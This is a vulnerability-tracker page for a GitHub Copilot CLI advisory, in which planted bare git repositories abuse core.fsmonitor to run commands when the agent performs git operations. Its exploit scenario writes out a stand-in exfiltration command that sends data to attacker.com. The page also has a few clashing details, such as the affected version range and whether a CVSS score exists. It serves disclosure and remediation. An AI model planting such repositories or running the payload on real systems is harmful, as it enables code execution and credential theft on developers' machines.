Skip to main content

GitHub Copilot CLI CVE-2026-45033

HIGH
Incorrect Behavior Order (CWE-696)
2026-05-11 https://github.com/github/copilot-cli GHSA-9ccr-r5hg-74gf
8.5
CVSS 4.0 · Vendor: https://github.com/github/copilot-cli
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Social engineer repository clone
  2. Delivery
    Victim clones repo with nested bare repository
  3. Exploit
    Copilot CLI traverses directories
  4. Execution
    Git auto-discovers bare repository
  5. Persist
    Malicious core.fsmonitor executes
  6. Impact
    Arbitrary code runs with user privileges

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Incorrect behavior order
Exploitation Conditions

Attacker must place a bare git repository containing malicious config (core.fsmonitor or similar executable config keys) inside a project directory that the victim will clone or receive via pull request, dependency update, or repository merge. The bare repository can be deeply nested (e.g., vendor/subdir/malicious.git/) to avoid detection. Exploitation triggers when GitHub Copilot CLI performs any git operation (status, diff, rev-parse, grep, or directory traversal) that causes git to discover the bare repository. Requires the victim to use GitHub Copilot CLI version 1.0.42 or earlier and to have cloned or merged the malicious repository into their workspace. No user interaction beyond normal Copilot CLI usage is required - the malicious command executes automatically during routine git operations. Limiting factors: Attacker needs a delivery mechanism to introduce the malicious repository (social engineering for direct clones, write access for pull requests, or compromise of upstream dependencies). The malicious repository must survive any code review processes. Detection risk increases if bare repositories are uncommon in the project's normal dependency structure or if security scanning tools flag unusual git configurations.

Impact

Real-world risk is moderate to high for organizations using GitHub Copilot CLI in environments where developers clone untrusted repositories or accept external contributions. Attack complexity is low - creating a bare repository with malicious config requires basic git knowledge and can be hidden in dependency trees or vendor directories. The attack vector is local but triggered remotely (attacker places malicious repository via pull request or compromised dependency; execution occurs locally when CLI runs git operations). No CVSS score was assigned by the vendor, and EPSS/KEV data are unavailable, suggesting this is a recently disclosed vulnerability without widespread exploitation evidence. However, the attack primitive (git config command execution) is well-understood and has been used in other contexts (git-shell escapes, hook poisoning). The delivery mechanism through supply chain vectors (malicious dependencies, pull requests) significantly increases practical exploitability compared to requiring direct filesystem access. Exploitation is automatable once a malicious repository is cloned. Technical impact is complete system compromise (arbitrary code execution with user privileges). Priority depends heavily on deployment context: high priority for organizations where Copilot CLI users regularly clone external repositories or review untrusted pull requests; lower priority for isolated development environments with strict repository vetting. Key missing data: CVSS score limits quantitative risk comparison, and absence of public POC/KEV suggests either very recent disclosure or limited attacker interest.

Exploit ScenarioDerived

A developer clones a repository for a seemingly legitimate open-source library that contains a hidden bare repository in vendor/analytics.git/ with core.fsmonitor configured to execute curl attacker.com/exfil?data=$(whoami). When the developer activates GitHub Copilot CLI to assist with code navigation, the CLI performs git status or git diff operations that traverse into the vendor/ directory. Git auto-discovers the bare repository, reads its config, and executes the malicious fsmonitor command, sending the developer's username and potentially session tokens to the attacker's server. The developer receives no warning or approval prompt - the execution happens silently during routine git operations.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Remote code execution in GitHub Copilot CLI versions prior to 1.0.43 allows attackers to execute arbitrary commands via malicious bare git repositories embedded in project directories. When the CLI agent performs routine git operations, git's automatic bare repository discovery triggers execution of commands specified in config keys like core.fsmonitor. Attackers can deliver the malicious repository through pull requests, compromised dependencies, or pre-existing cloned repositories. No public exploit identified at time of analysis, though the attack technique leverages well-documented git behavior. The vendor-released patch (version 1.0.43) sets safe.bareRepository=explicit to block automatic bare repository discovery.

RemediationAI

Upgrade GitHub Copilot CLI to version 1.0.43 or later immediately via npm update @github/copilot. The patch enforces safe.bareRepository=explicit using git's environment variable mechanism (GIT_CONFIG_COUNT/GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_*), which has highest precedence and prevents automatic bare repository discovery during directory traversal. Official advisory with upgrade instructions at https://github.com/github/copilot-cli/security/advisories/GHSA-9ccr-r5hg-74gf. If immediate upgrade is not feasible, implement these compensating controls: (1) Manually set safe.bareRepository=explicit in global git config via git config --global safe.bareRepository explicit (note: this may break legitimate workflows that rely on bare repository auto-discovery and will not protect against attackers who can modify git config); (2) Review all project directories for unexpected bare repositories, especially in vendor/, node_modules/, third_party/, or deeply nested subdirectories - search for config files outside standard .git directories using find commands; (3) Restrict Copilot CLI usage to repositories from trusted sources only and require code review for all external dependencies before cloning; (4) Run Copilot CLI in containerized or sandboxed environments with limited filesystem and network access to contain potential code execution. Note that git config-based mitigations are insufficient if attackers can modify user config files, and manual repository scanning does not prevent future introduction of malicious repositories - upgrade to 1.0.43 remains the only complete fix.

Affected Packages

npm @github/copilot fix: 1.0.43

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Git supports bare repositories (repositories without working trees) that can be auto-discovered during directory hierarchy traversal. When git finds a bare repository while searching for .git directories, it reads and applies that repository's configuration file. Git configuration supports over 15 keys that specify external commands to execute, including core.fsmonitor (file system monitor hooks), core.hookspath (custom hook directory), diff.external (custom diff tool), merge.tool (custom merge handler), and others. These commands execute with the user's privileges during normal git operations like status, diff, or rev-parse. GitHub Copilot CLI (npm package @github/copilot) integrates git operations for workspace analysis and code navigation. The vulnerability maps to CWE-696 (Incorrect Behavior Order), where git's config-reading behavior occurs before security validation. The fix leverages git's environment variable precedence hierarchy - GIT_CONFIG_COUNT/GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_* environment variables override all config file sources - to enforce safe.bareRepository=explicit, which disables automatic bare repository discovery and requires explicit allowlisting.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/github/copilot-cli) PRIMARY 8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/github/copilot-cli) · only source for this CVE.

CVSS VectorVendor: https://github.com/github/copilot-cli

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 13, 2026 - 16:22 NVD
8.5 (HIGH)
CVE Published
May 11, 2026 - 16:16 nvd
HIGH

DescriptionCVE.org

Summary

A security vulnerability has been identified in GitHub Copilot CLI where a malicious bare git repository nested inside a project directory can achieve arbitrary code execution when the agent performs git operations. By exploiting git's automatic bare repository discovery during directory traversal, an attacker can set core.fsmonitor or other executable config keys to run arbitrary commands without user awareness or approval.

Details

Git supports bare repositories - repositories without a working tree - which can be discovered automatically when git traverses the directory hierarchy looking for a .git directory. When git discovers a bare repository, it reads and applies its configuration, including keys that specify external commands to execute.

The vulnerability arises because git's core.fsmonitor config key (and 15+ similar keys such as core.hookspath, diff.external, merge.tool, etc.) can specify arbitrary shell commands that git will execute as part of normal operations like status, diff, or rev-parse.

Attack Scenario

An attacker can exploit this by:

  1. Creating a bare git repository nested inside a seemingly normal project directory (e.g., vendor/malicious.git/ or a deeply nested subdirectory)
  2. Configuring core.fsmonitor (or similar keys) in that bare repository to execute a malicious command
  3. When GitHub Copilot CLI performs any git operation that traverses into or through that directory, git auto-discovers the bare repository, reads its config, and executes the attacker's command

This can occur when:

  • The agent navigates into a subdirectory containing the buried bare repo
  • The agent runs git status, git diff, or other routine git commands
  • The agent uses tools like grep or glob that may trigger git operations in subdirectories

Prior to the fix, the CLI had no protection against git auto-discovering bare repositories during directory traversal.

Impact

An attacker who can place a malicious bare repository inside a project - for example, through:

  • A pull request adding a directory that contains a bare repository
  • A compromised or malicious dependency that includes a bare repository
  • A cloned repository that already contains nested bare repositories
  • could achieve arbitrary code execution on the user's workstation whenever GitHub Copilot CLI performs git operations in or near the malicious directory.

Successful exploitation could lead to data exfiltration, credential theft, file modification, or further system compromise.

Affected Versions

  • GitHub Copilot CLI versions prior to 1.0.42

Remediation and Mitigation

Fix

The fix sets safe.bareRepository=explicit via git's GIT_CONFIG_COUNT / GIT_CONFIG_KEY_* / GIT_CONFIG_VALUE_* environment variable mechanism, which has the highest precedence over all config file sources. This prevents git from automatically discovering and using bare repositories during directory traversal - only explicitly allowlisted bare repositories will be used.

User Actions

  1. Upgrade GitHub Copilot CLI to 1.0.43 or later.
  2. Exercise caution when working in repositories that contain nested bare git repositories.
  3. Review project directories for unexpected bare repositories, especially in vendor/, third_party/, or deeply nested subdirectories.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @github/copilot (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.0.43.

Executive ViewAI

Why It Matters

GitHub Copilot CLI versions before 1.0.43 contain a remote code execution vulnerability that allows attackers to execute arbitrary commands on developer machines through malicious Git repositories embedded in project directories. This impacts engineering teams and any organization using Copilot CLI for development workflows, as attackers can deliver payloads via pull requests or dependencies, potentially compromising source code integrity and developer credentials.

Business Impact: High
Compensating Controls

Vendor-released patch: Copilot CLI version 1.0.43 or later. If immediate patching is not feasible, restrict Copilot CLI usage to sandboxed or ephemeral development environments and require manual code review of all git operations before execution until patched.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/@github_copilot

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy